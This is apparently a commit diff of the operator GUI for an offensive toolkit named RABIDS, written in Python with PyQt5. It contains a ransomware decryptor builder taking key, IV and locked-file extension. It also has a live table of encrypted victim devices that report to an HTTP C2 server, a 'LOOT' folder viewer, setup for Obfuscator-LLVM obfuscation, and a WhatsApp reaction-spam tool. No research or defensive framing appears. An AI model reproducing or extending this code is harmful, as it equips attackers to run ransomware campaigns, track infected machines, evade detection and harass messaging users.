build_options_layout.addWidget(arch_label)
build_options_layout.addWidget(self.arch_combo, 1)
options_layout.addLayout(build_options_layout)
self.build_btn = QPushButton("BUILD DECRYPTOR")
self.build_btn.setFont(subtitle_font)
self.build_btn.clicked.connect(self.on_build_clicked)
options_layout.addWidget(self.build_btn)
options_layout.addStretch()
layout.addWidget(options_group)
# Bottom section
bottom_section_layout = QHBoxLayout()
# Left column - Live encrypted devices
left_column_widget = QWidget()
left_column_layout = QVBoxLayout(left_column_widget)
devices_header_layout = QHBoxLayout()
encrypted_devices_label = QLabel("LIVE ENCRYPTED DEVICES")
encrypted_devices_label.setFont(title_font)
devices_header_layout.addWidget(encrypted_devices_label)
devices_header_layout.addStretch()
left_column_layout.addLayout(devices_header_layout)
live_devices_desc_label = QLabel("This panel displays a live list of devices successfully encrypted by the 'krash' module.\n"
"Devices report back via HTTP server.")
live_devices_desc_label.setFont(subtitle_font)
live_devices_desc_label.setStyleSheet("color: #707070;")
live_devices_desc_label.setWordWrap(True)
left_column_layout.addWidget(live_devices_desc_label)
listener_controls_layout = QHBoxLayout()
self.toggle_listener_btn = QPushButton("Connect")
self.toggle_listener_btn.setFont(subtitle_font)
self.toggle_listener_btn.clicked.connect(self.listener_toggle_requested.emit)
self.refresh_listener_btn = QPushButton("⟳ Refresh")
self.refresh_listener_btn.setFont(subtitle_font)
self.refresh_listener_btn.clicked.connect(self.listener_refresh_requested.emit)
listener_controls_layout.addStretch()
listener_controls_layout.addWidget(self.refresh_listener_btn)
listener_controls_layout.addWidget(self.toggle_listener_btn)
left_column_layout.addLayout(listener_controls_layout)
self.encrypted_devices_table = QTableWidget()
self.encrypted_devices_table.setColumnCount(1)
self.encrypted_devices_table.setHorizontalHeaderLabels(["Device"])
self.encrypted_devices_table.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
left_column_layout.addWidget(self.encrypted_devices_table)
# Right column - Image
image_label = QLabel()
image_path = os.path.join(self.script_dir, "ASSETS", "unkrash.png")
pixmap = QPixmap(image_path)
if not pixmap.isNull():
image_label.setPixmap(pixmap.scaled(400, 400, Qt.KeepAspectRatio, Qt.SmoothTransformation))
image_label.setAlignment(Qt.AlignCenter)
bottom_section_layout.addWidget(left_column_widget, 6)
bottom_section_layout.addWidget(image_label, 4)
layout.addLayout(bottom_section_layout)
def on_build_clicked(self):
config = {
'key': self.key_edit.text(),
'iv': self.iv_edit.text(),
'extension': self.ext_edit.text(),
'exe_name': self.exe_name_edit.text(),
'os': self.os_combo.currentText(),
'arch': self.arch_combo.currentText()
}
self.build_decryptor_requested.emit(config)
def update_device_status(self, hostname, status):
for row in range(self.encrypted_devices_table.rowCount()):
item = self.encrypted_devices_table.item(row, 0)
if item and item.text() == hostname:
if status == "Decrypted":
self.encrypted_devices_table.removeRow(row)
return
if status == "Encrypted":
row_position = self.encrypted_devices_table.rowCount()
self.encrypted_devices_table.insertRow(row_position)
self.encrypted_devices_table.setItem(row_position, 0, QTableWidgetItem(hostname))
def set_listener_connected(self, is_connected):
self.toggle_listener_btn.setText("Disconnect" if is_connected else "Connect")
def get_settings(self):
return {
'key': self.key_edit.text(),
'iv': self.iv_edit.text(),
'extension': self.ext_edit.text(),
'exe_name': self.exe_name_edit.text(),
'os': self.os_combo.currentText(),
'arch': self.arch_combo.currentText()
}
def load_settings(self, settings):
self.key_edit.setText(settings.get('key', ''))
self.iv_edit.setText(settings.get('iv', ''))
self.ext_edit.setText(settings.get('extension', '.locked'))
self.exe_name_edit.setText(settings.get('exe_name', 'decryptor'))
self.os_combo.setCurrentText(settings.get('os', 'windows'))
self.arch_combo.setCurrentText(settings.get('arch', 'amd64'))

1
TABS/output/__init__.py Normal file
View File

@ -0,0 +1 @@
from .output import OutputWidget

132
TABS/output/output.py Normal file
View File

@ -0,0 +1,132 @@
import os
import sys
import subprocess
from pathlib import Path
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QTextEdit,
QLabel, QListWidget, QListWidgetItem
)
from PyQt5.QtGui import QFont, QPixmap
from PyQt5.QtCore import Qt, pyqtSignal
class OutputWidget(QWidget):
"""Output tab widget for displaying build logs and loot files."""
def __init__(self, script_dir, parent=None):
super().__init__(parent)
self.script_dir = script_dir
self.init_ui()
def init_ui(self):
layout = QVBoxLayout(self)
layout.setContentsMargins(15, 15, 15, 15)
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(9)
subtitle_font = QFont()
subtitle_font.setPointSize(9)
# Output log
self.output_log = QTextEdit()
self.output_log.setFont(subtitle_font)
self.output_log.setReadOnly(True)
self.output_log.setPlaceholderText("")
self.output_log.setStyleSheet("background-color: #0e0e0e; color: #909090;")
layout.addWidget(self.output_log, 3)
# Loot section
loot_section_layout = QHBoxLayout()
folder_icon_label = QLabel()
folder_icon_path = os.path.join(self.script_dir, "ASSETS", "folder.png")
pixmap = QPixmap(folder_icon_path)
if not pixmap.isNull():
folder_icon_label.setPixmap(pixmap.scaled(200, 200, Qt.KeepAspectRatio, Qt.SmoothTransformation))
folder_icon_label.setAlignment(Qt.AlignCenter)
loot_section_layout.addWidget(folder_icon_label, 2)
loot_content_widget = QWidget()
loot_content_layout = QVBoxLayout(loot_content_widget)
loot_content_layout.setContentsMargins(0, 0, 0, 0)
loot_header_layout = QHBoxLayout()
loot_label = QLabel("LOOT")
loot_label.setFont(title_font)
loot_header_layout.addWidget(loot_label)
loot_header_layout.addStretch()
refresh_loot_btn = QPushButton("⟳ Refresh")
refresh_loot_btn.clicked.connect(self.update_loot_folder_view)
loot_header_layout.addWidget(refresh_loot_btn)
open_loot_btn = QPushButton("Open Folder")
open_loot_btn.clicked.connect(self.open_loot_folder)
loot_header_layout.addWidget(open_loot_btn)
loot_content_layout.addLayout(loot_header_layout)
self.loot_files_list = QListWidget()
self.loot_files_list.setFont(subtitle_font)
self.loot_files_list.setStyleSheet("background-color: #0e0e0e;")
loot_content_layout.addWidget(self.loot_files_list)
loot_section_layout.addWidget(loot_content_widget, 8)
layout.addLayout(loot_section_layout, 1)
self.update_loot_folder_view()
def log_message(self, message, msg_type="system"):
if msg_type == "error":
color = "#808080"
elif msg_type == "success":
color = "#ffffff"
elif msg_type == "system":
color = "#a0a0a0"
else:
color = "#c0c0c0"
if msg_type == "c2_sent":
color = "#d0d0d0"
elif msg_type == "c2_recv":
color = "#ffffff"
if not message.strip():
return
self.output_log.append(f'<font color="{color}">{message}</font>')
def clear_log(self):
self.output_log.clear()
def open_loot_folder(self):
loot_dir = Path(self.script_dir) / 'LOOT'
if not loot_dir.is_dir():
self.log_message(f"loot directory not found: {loot_dir}", "error")
loot_dir.mkdir(exist_ok=True)
self.log_message(f"created loot directory: {loot_dir}", "system")
if sys.platform == "win32":
os.startfile(loot_dir)
elif sys.platform == "darwin":
subprocess.Popen(["open", str(loot_dir)])
else:
subprocess.Popen(["xdg-open", str(loot_dir)])
self.update_loot_folder_view()
def update_loot_folder_view(self):
self.loot_files_list.clear()
loot_dir = Path(self.script_dir) / 'LOOT'
if not loot_dir.is_dir():
self.loot_files_list.addItem("loot directory not found")
return
try:
files = [f for f in loot_dir.iterdir() if f.is_file()]
if not files:
self.loot_files_list.addItem("loot directory is empty")
return
for file_path in sorted(files, key=os.path.getmtime, reverse=True):
self.loot_files_list.addItem(QListWidgetItem(file_path.name))
except Exception as e:
self.loot_files_list.addItem(f"Error reading LOOT directory: {e}")

View File

@ -0,0 +1 @@
from .settings import SettingsWidget

150
TABS/settings/settings.py Normal file
View File

@ -0,0 +1,150 @@
import sys
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
QLabel, QGroupBox
)
from PyQt5.QtGui import QFont
from PyQt5.QtCore import pyqtSignal
class SettingsWidget(QWidget):
"""Settings tab widget."""
save_requested = pyqtSignal()
install_nim_tool_requested = pyqtSignal()
install_rust_tool_requested = pyqtSignal()
install_python_requested = pyqtSignal()
install_nimble_requested = pyqtSignal()
install_rust_targets_requested = pyqtSignal()
install_docker_requested = pyqtSignal()
def __init__(self, script_dir, parent=None):
super().__init__(parent)
self.script_dir = script_dir
self.installer_buttons = []
self.init_ui()
def init_ui(self):
layout = QVBoxLayout(self)
layout.setContentsMargins(0, 15, 0, 15)
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(9)
subtitle_font = QFont()
subtitle_font.setPointSize(9)
def create_setting_layout(label_text, input_widget, description_text):
setting_layout = QVBoxLayout()
label_layout = QHBoxLayout()
label = QLabel(label_text)
label.setFont(subtitle_font)
desc_label = QLabel(description_text)
desc_label.setFont(QFont("Arial", 8))
desc_label.setStyleSheet("color: #808080;")
desc_label.setWordWrap(True)
setting_layout.setContentsMargins(15, 0, 15, 0)
label_layout.addWidget(label)
setting_layout.addLayout(label_layout)
setting_layout.addWidget(input_widget)
setting_layout.addWidget(desc_label)
setting_layout.addSpacing(10)
return setting_layout
# Server URL
server_url_label = QLabel("HTTP Server URL")
self.server_url_edit = QLineEdit()
server_url_desc = "The URL of your HTTP C2 server. Example: http://your-server.com:8080"
server_url_layout = create_setting_layout(server_url_label.text(), self.server_url_edit, server_url_desc)
layout.addLayout(server_url_layout)
layout.addSpacing(20)
# Dependency Installation
installer_group = QGroupBox("Dependency Installation")
installer_group.setFont(title_font)
installer_layout = QVBoxLayout(installer_group)
installer_layout.setContentsMargins(15, 0, 15, 0)
installer_desc = QLabel("Install the core compilers and their required packages. It is recommended to run these in order.")
installer_desc.setFont(subtitle_font)
installer_desc.setWordWrap(True)
installer_layout.addWidget(installer_desc)
self.install_nim_tool_btn = QPushButton("Install Nim")
self.install_nim_tool_btn.clicked.connect(self.install_nim_tool_requested.emit)
installer_layout.addWidget(self.install_nim_tool_btn)
self.install_rust_tool_btn = QPushButton("Install Rust")
self.install_rust_tool_btn.clicked.connect(self.install_rust_tool_requested.emit)
installer_layout.addWidget(self.install_rust_tool_btn)
self.install_py_btn = QPushButton("Install Python Packages")
self.install_py_btn.clicked.connect(self.install_python_requested.emit)
installer_layout.addWidget(self.install_py_btn)
self.install_nim_btn = QPushButton("Install Nimble Packages")
self.install_nim_btn.clicked.connect(self.install_nimble_requested.emit)
installer_layout.addWidget(self.install_nim_btn)
openssl_note = QLabel('For Windows, if the Nim build fails with SSL errors, you may need to manually download OpenSSL from <a href="https://openssl-library.org/source/">https://openssl-library.org/source/</a>')
openssl_note.setOpenExternalLinks(True)
openssl_note.setFont(QFont("Arial", 8))
openssl_note.setStyleSheet("color: #808080;")
openssl_note.setWordWrap(True)
installer_layout.addWidget(openssl_note)
self.install_rust_btn = QPushButton("Install Rust Targets")
self.install_rust_btn.clicked.connect(self.install_rust_targets_requested.emit)
installer_layout.addWidget(self.install_rust_btn)
# Docker group
docker_group = QGroupBox("Obfuscation Dependencies (Optional)")
docker_group.setFont(title_font)
docker_layout = QVBoxLayout(docker_group)
docker_layout.setContentsMargins(0, 0, 0, 0)
docker_desc = QLabel("The obfuscation feature requires Docker. This will pull the large Obfuscator-LLVM image from the container registry.")
docker_desc.setFont(subtitle_font)
docker_desc.setWordWrap(True)
docker_layout.addWidget(docker_desc)
self.install_docker_btn = QPushButton("Pull Docker Image")
self.install_docker_btn.clicked.connect(self.install_docker_requested.emit)
docker_layout.addWidget(self.install_docker_btn)
installer_layout.addWidget(docker_group)
self.installer_buttons = [
self.install_nim_tool_btn,
self.install_rust_tool_btn,
self.install_py_btn,
self.install_nim_btn,
self.install_rust_btn,
self.install_docker_btn
]
layout.addWidget(installer_group)
layout.addStretch()
# Save button
save_settings_btn = QPushButton("Save Settings")
save_settings_btn.setFont(subtitle_font)
save_settings_btn.clicked.connect(self.save_requested.emit)
save_btn_container = QWidget()
save_btn_layout = QHBoxLayout(save_btn_container)
save_btn_layout.setContentsMargins(15, 0, 15, 0)
save_btn_layout.addWidget(save_settings_btn)
layout.addWidget(save_btn_container)
def set_installer_buttons_enabled(self, enabled):
for btn in self.installer_buttons:
btn.setEnabled(enabled)
def get_settings(self):
return {
'server_url': self.server_url_edit.text()
}
def load_settings(self, settings):
self.server_url_edit.setText(settings.get('server_url', 'http://localhost:8080'))

View File

@ -0,0 +1 @@
from .whispers import SilentWhispersWidget

View File

@ -1,7 +1,7 @@
{
"name": "rabids-whatsapp-bridge",
"version": "1.0.0",
"description": "WhatsApp Web bridge for RABIDS Silent Whispers",
"description": "WhatsApp Web bridge for RABIDS whispers",
"main": "whatsapp_bridge.js",
"dependencies": {
"whatsapp-web.js": "^1.23.0",

View File

@ -173,9 +173,9 @@ class SilentWhispersWidget(QWidget):
main_layout.setSpacing(10)
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(12)
title_font.setPointSize(9)
subtitle_font = QFont()
subtitle_font.setPointSize(10)
subtitle_font.setPointSize(9)
top_section = QHBoxLayout()
top_section.setSpacing(15)
qr_container = QVBoxLayout()
@ -185,11 +185,11 @@ class SilentWhispersWidget(QWidget):
self.qr_label.setFixedSize(160, 160)
self.qr_label.setStyleSheet("""
QLabel {
border: 1px solid #2a2a2e;
border-radius: 10px;
background-color: #1D1D1F;
color: #666;
font-size: 11px;
border: 1px solid #2a2a2a;
border-radius: 4px;
background-color: #141414;
color: #606060;
font-size: 9pt;
}
""")
qr_container.addWidget(self.qr_label)
@ -200,7 +200,7 @@ class SilentWhispersWidget(QWidget):
qr_container.addWidget(self.wa_web_btn)
self.wa_web_status = QLabel("Disconnected")
self.wa_web_status.setAlignment(Qt.AlignCenter)
self.wa_web_status.setStyleSheet("color: #FF3B30; font-size: 10px;")
self.wa_web_status.setStyleSheet("color: #808080; font-size: 9pt;")
qr_container.addWidget(self.wa_web_status)
top_section.addLayout(qr_container)
controls_container = QVBoxLayout()
@ -231,13 +231,14 @@ class SilentWhispersWidget(QWidget):
self.spam_btn.clicked.connect(self.start_reaction_spam)
self.spam_btn.setStyleSheet("""
QPushButton {
background-color: #34C759;
color: white;
border-radius: 10px;
padding: 8px;
background-color: #ffffff;
color: #0a0a0a;
border-radius: 4px;
padding: 6px 12px;
font-weight: bold;
}
QPushButton:hover { background-color: #2DB84D; }
QPushButton:disabled { background-color: #1D1D1F; color: #555; }
QPushButton:hover { background-color: #e0e0e0; }
QPushButton:disabled { background-color: #1a1a1a; color: #555; }
""")
btn_row.addWidget(self.spam_btn)
self.stop_spam_btn = QPushButton("STOP SPAM")
@ -246,13 +247,13 @@ class SilentWhispersWidget(QWidget):
self.stop_spam_btn.setEnabled(False)
self.stop_spam_btn.setStyleSheet("""
QPushButton {
background-color: #FF3B30;
color: white;
border-radius: 10px;
padding: 8px;
background-color: #303030;
color: #d0d0d0;
border-radius: 4px;
padding: 6px 12px;
}
QPushButton:hover { background-color: #E0342B; }
QPushButton:disabled { background-color: #1D1D1F; color: #555; }
QPushButton:hover { background-color: #404040; }
QPushButton:disabled { background-color: #1a1a1a; color: #555; }
""")
btn_row.addWidget(self.stop_spam_btn)
controls_container.addLayout(btn_row)
@ -262,10 +263,11 @@ class SilentWhispersWidget(QWidget):
self.log_output.setFont(subtitle_font)
self.log_output.setStyleSheet("""
QTextEdit {
background-color: #1D1D1F;
border-radius: 5px;
color: #888;
font-size: 9px;
background-color: #0e0e0e;
border: 1px solid #1a1a1a;
border-radius: 4px;
color: #808080;
font-size: 9pt;
padding: 4px;
}
""")
@ -273,7 +275,7 @@ class SilentWhispersWidget(QWidget):
top_section.addLayout(controls_container, 1)
main_layout.addLayout(top_section)
if MATPLOTLIB_AVAILABLE:
self.figure = Figure(figsize=(8, 3), dpi=100, facecolor='#111113')
self.figure = Figure(figsize=(8, 3), dpi=100, facecolor='#0a0a0a')
self.canvas = FigureCanvas(self.figure)
self.ax = self.figure.add_subplot(111)
self._style_graph()
@ -298,23 +300,23 @@ class SilentWhispersWidget(QWidget):
self.log_message("[+] Ready", "success")
def _style_graph(self):
"""Apply dark theme to graph matching main app"""
self.ax.set_facecolor('#1D1D1F')
self.ax.tick_params(colors='#666', labelsize=8)
self.ax.xaxis.label.set_color('#888')
self.ax.yaxis.label.set_color('#888')
self.ax.set_facecolor('#0e0e0e')
self.ax.tick_params(colors='#606060', labelsize=8)
self.ax.xaxis.label.set_color('#808080')
self.ax.yaxis.label.set_color('#808080')
self.ax.set_xlabel('Iteration', fontsize=9)
self.ax.set_ylabel('Time (ms)', fontsize=9)
for spine in self.ax.spines.values():
spine.set_color('#2a2a2e')
self.ax.grid(True, alpha=0.1, color='#444')
spine.set_color('#1a1a1a')
self.ax.grid(True, alpha=0.1, color='#303030')
def log_message(self, message, msg_type="system"):
"""Add a message to the log output"""
color_map = {
"success": "#00B85B",
"error": "#FF3B30",
"system": "#00A9FD"
"success": "#ffffff",
"error": "#808080",
"system": "#a0a0a0"
}
color = color_map.get(msg_type, "#e0e0e0")
color = color_map.get(msg_type, "#c0c0c0")
self.log_output.append(f'<span style="color: {color};">{message}</span>')
def toggle_whatsapp_client(self):
"""Start or stop the WhatsApp Web client"""
@ -336,7 +338,7 @@ class SilentWhispersWidget(QWidget):
self.whatsapp_thread.start()
self.wa_web_status.setText("Status: Starting...")
self.wa_web_btn.setText("Stop WhatsApp Client")
self.wa_web_btn.setStyleSheet("background-color: #d32f2f; color: white;")
self.wa_web_btn.setStyleSheet("background-color: #303030; color: #d0d0d0;")
def display_qr_code(self, qr_data):
"""Generate and display QR code from data"""
try:
@ -359,12 +361,12 @@ class SilentWhispersWidget(QWidget):
def update_client_status(self, is_ready):
if is_ready:
self.wa_web_status.setText("Status: Connected & Ready")
self.wa_web_status.setStyleSheet("color: #4caf50;")
self.wa_web_status.setStyleSheet("color: #ffffff; font-size: 9pt;")
self.qr_label.setText("Connected to WhatsApp Web")
self.qr_label.setPixmap(QPixmap())
else:
self.wa_web_status.setText("Status: Disconnected")
self.wa_web_status.setStyleSheet("color: #f44336;")
self.wa_web_status.setStyleSheet("color: #606060; font-size: 9pt;")
def send_whatsapp_message(self):
"""Send WhatsApp message using Node.js bridge"""
phone_number = self.phone_input.text().strip()
@ -463,7 +465,7 @@ class SilentWhispersWidget(QWidget):
self.is_spamming = False
self.spam_btn.setText("START SPAM")
self.spam_btn.setEnabled(True)
self.spam_btn.setStyleSheet("background-color: #34C759; color: white;")
self.spam_btn.setStyleSheet("background-color: #ffffff; color: #0a0a0a; font-weight: bold;")
self.stop_spam_btn.setEnabled(False)
self.send_btn.setEnabled(True)
def handle_spam_data(self, data):
@ -492,7 +494,7 @@ class SilentWhispersWidget(QWidget):
indices = self.spam_data['indices']
if indices and self.spam_data['iteration_times']:
self.ax.scatter(indices, self.spam_data['iteration_times'],
c='#FF6B9D', s=6, alpha=0.9, edgecolors='none', linewidths=0)
c='#ffffff', s=6, alpha=0.9, edgecolors='none', linewidths=0)
self.canvas.draw()
def clear_graph(self):
"""Clear the graph and reset data"""

2029
main.py

File diff suppressed because it is too large Load Diff